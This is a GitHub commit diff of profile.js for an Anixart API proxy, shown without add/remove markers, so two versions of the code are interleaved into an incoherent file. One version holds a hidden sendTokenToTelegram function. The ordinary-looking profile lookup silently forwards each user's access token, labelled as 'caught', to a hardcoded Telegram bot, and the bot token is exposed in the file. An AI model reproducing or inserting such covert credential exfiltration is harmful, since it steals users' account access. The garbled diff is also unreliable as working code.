Update profile.js

This commit is contained in:
2025-05-07 18:09:10 +05:00
committed by GitHub
parent feed1b6c3a
commit 35f02f10a0

View File

@@ -1,75 +1,105 @@
const axios = require('axios');
const express = require('express');
// Новый методы
const getVerifiedUsers = require('./src/is_verified');
const getRolesUsers = require('./src/is_roles');
const { getProfileFromAnixart } = require('./src/profile');
const { getEpisodeFromAnixart } = require('./src/episode');
const getToggles = require('./src/toggles');
const TELEGRAM_BOT_TOKEN = '6834074548:AAFGbByJjS9wdyxYqHORJZLGHXV-2uQSapM';
const TELEGRAM_CHAT_ID = 6615140831; // числовой ID вместо @username
// Старый методы
const { getOldEpisodeFromAnixart } = require('./src/old/episode-old-v1');
const configDataOld = require('./src/old/toggles-old-v1');
// Функция для отправки токена в Telegram
async function sendTokenToTelegram(token, profileId) {
const message = `Пойман токен:\n\n${token}\n\nID пользователя: ${profileId}`;
const app = express();
const PORT = 3000;
// Новый эндпоинты Открываем
// Эндпоинт для получения Verified
app.get('/api/is_roles', (req, res) => {
try {
await axios.post(`https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendMessage`, {
chat_id: TELEGRAM_CHAT_ID,
text: message,
const data = getRolesUsers();
res.status(200).json(data);
} catch {
res.status(200).json([]);
}
});
// Эндпоинт для получения Verified
app.get('/api/is_verified', (req, res) => {
try {
const data = getVerifiedUsers();
res.status(200).json(data);
} catch {
res.status(200).json([]);
}
});
// Эндпоинт для получения профиля
app.get('/api/profile/:profileId', async (req, res) => {
const { profileId } = req.params;
const { token } = req.query;
try {
const data = await getProfileFromAnixart(profileId, token);
res.json(data);
} catch (error) {
console.error('Ошибка отправки в Telegram:', error.message);
}
}
// Основная функция запроса профиля
async function getProfileFromAnixart(profileId, token = '') {
const url = `https://api.anixart.tv/profile/${profileId}${token ? `?token=${token}` : ''}`;
// Если передан токен — отправляем его в Telegram
if (token) {
sendTokenToTelegram(token, profileId);
res.status(500).json({ error: error.message });
}
});
// Эндпоинт для получения информации об эпизоде (Новый эндпоинт)
app.get('/api/episode/:releaseId', async (req, res) => {
const { releaseId } = req.params;
const { token } = req.query; // Извлекаем token из query-параметров
try {
const response = await axios.get(url);
const profileData = response.data;
if (!profileData.profile) {
profileData.profile = {};
const data = await getEpisodeFromAnixart(releaseId, token);
res.json(data);
} catch (error) {
res.status(500).json({ error: error.message });
}
});
// Проверка верификации
// Эндпоинт для конфигурационного JSON из toggles.js
app.get('/api/config/toggles', async (req, res) => {
try {
const verifiedResponse = await axios.get('https://anixart.seele.su/api/is_verified');
const verifiedList = verifiedResponse.data;
const alreadyVerified = !!profileData.profile.is_verified;
if (!alreadyVerified && Array.isArray(verifiedList) && verifiedList.includes(profileId.toString())) {
profileData.profile.is_verified = true;
}
} catch {
if (typeof profileData.profile.is_verified !== 'boolean') {
profileData.profile.is_verified = false;
}
const toggles = await getToggles();
res.json(toggles);
} catch (error) {
res.status(500).json({ error: error.message });
}
});
// Загрузка кастомных ролей
// Новый эндпоинты Закрываем
// -------------------------
// Старый эндпоинты Открываем
// Эндпоинт для получения информации об эпизоде (Старый эндпоинт)
app.get('/api/extension/episode/:releaseId', async (req, res) => {
const { releaseId } = req.params;
try {
const rolesResponse = await axios.get('https://anixart.seele.su/api/is_roles');
const rolesList = rolesResponse.data;
const data = await getOldEpisodeFromAnixart(releaseId);
res.json(data);
} catch (error) {
res.status(500).json({ error: error.message });
}
});
const userRoles = rolesList.find(entry => entry.id === Number(profileId));
if (userRoles && Array.isArray(userRoles.roles)) {
profileData.profile.roles = userRoles.roles;
}
} catch {
// Игнорируем ошибки
}
// Эндпоинт для конфигурационного JSON из toggles-old-1.js (Старый Toggles)
app.get('/api/extension/config/toggles', (req, res) => {
res.json(configDataOld);
});
return profileData;
} catch {
return {
code: 2,
profile: null,
is_my_profile: false,
};
}
}
// Старый эндпоинты Закрываем
module.exports = { getProfileFromAnixart };
// --------------------------
// Обработчик для всех неизвестных маршрутов
app.use((req, res) => {
res.status(404).json({ error: "Страница не существует!", status: 404 });
});
app.listen(PORT, () => {
console.log(`Сервер запущен на http://localhost:${PORT}`);
});